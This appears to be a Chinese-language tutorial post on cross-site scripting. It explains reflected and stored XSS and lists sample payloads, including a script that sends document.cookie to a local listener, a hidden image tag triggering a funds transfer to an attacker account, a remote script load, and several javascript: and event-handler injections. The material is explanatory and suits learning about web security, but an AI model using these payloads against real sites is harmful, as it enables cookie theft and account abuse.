什么是XSS?
XSS(Cross Site Scripting),即跨站腳本攻擊,是一種常見於web application中的計算機安全漏洞。XSS通過在用戶端注入惡意的可運行腳本,若服務器端對用戶輸入不進行處理,直接將用戶輸入輸出到瀏覽器,則瀏覽器將會執行用戶注入的腳本。
XSS的分類
根據XSS造成的影響,可以將XSS分為非持久型和持久型。
1. 非持久型,也叫反射型XSS。通過GET和 POST方法,向服務器端輸入數據。用戶輸入的數據通常被放置在URL的query string中,或者是form 數據中。如果服務器端對輸入的數據不進行過濾,驗證或編碼,就直接將用戶輸入的信息直接呈現給客戶,則可能會造成反射型XSS。反射型XSS是比較普遍的 XSS,其危害程度通常被認為較小。但是某些反射型XSS造成的后果會很嚴重,如在輸入框的name中輸入<meta http-equiv="refresh" content="5"
/>,服務器不加處理,將name的值直接送到瀏覽器,則瀏覽器會每5秒自動刷新一次。嚴重者會導致服務器崩潰。
2. 持久型,也叫存儲型XSS。通常是因為服務器端將用戶輸入的惡意腳本沒有通過驗證就直接存儲在數據庫,並且每次通過調用數據庫的方式,將數據呈現在瀏覽器上。則該 XSS跨站腳本攻擊將一直存在。若其他用戶訪問該頁面,則惡意腳本就會被觸發,用於盜取其他用戶的私人信息。
常用XSS方式分為以下幾種:
1. 輸入框中直接輸入惡意腳本,如:
><script>alert(document.cookie)</script>
或者 "> <script> document.location.href='http://127.0.0.1:9090/xss?foo='+document.cookie</script>
2. 輸入框中輸入html標簽,在標簽中嵌入惡意腳本,如src,href,css style等。
<IMG SRC="javascript:alert('XSS');">;
<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
<BODY BACKGROUND="javascript:alert('XSS')">
<STYLE>li {list-style-image:url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
3. 將惡意腳本注入在event事件中,如onClick,onBlur,onMouseOver等事件。
<a onmouseover="alert(document.cookie)">xxslink</a>
4. 在remote style sheet,javascript中,如
<LINK REL="stylesheet"HREF="javascript:alert('XSS');">
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
5. META 標簽,如
<meta http-equiv="refresh"content="5" />
<META HTTP-EQUIV="Set-Cookie"Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
更過xss : http://anquan.163.com/module/pedia/article-00016.html
: https://www.owasp.org/index.php/Top_10_2010-A2
: http://www.qq7u.com/develop/itDev/2725.html
PS. java獲取httpOnly的網站cookie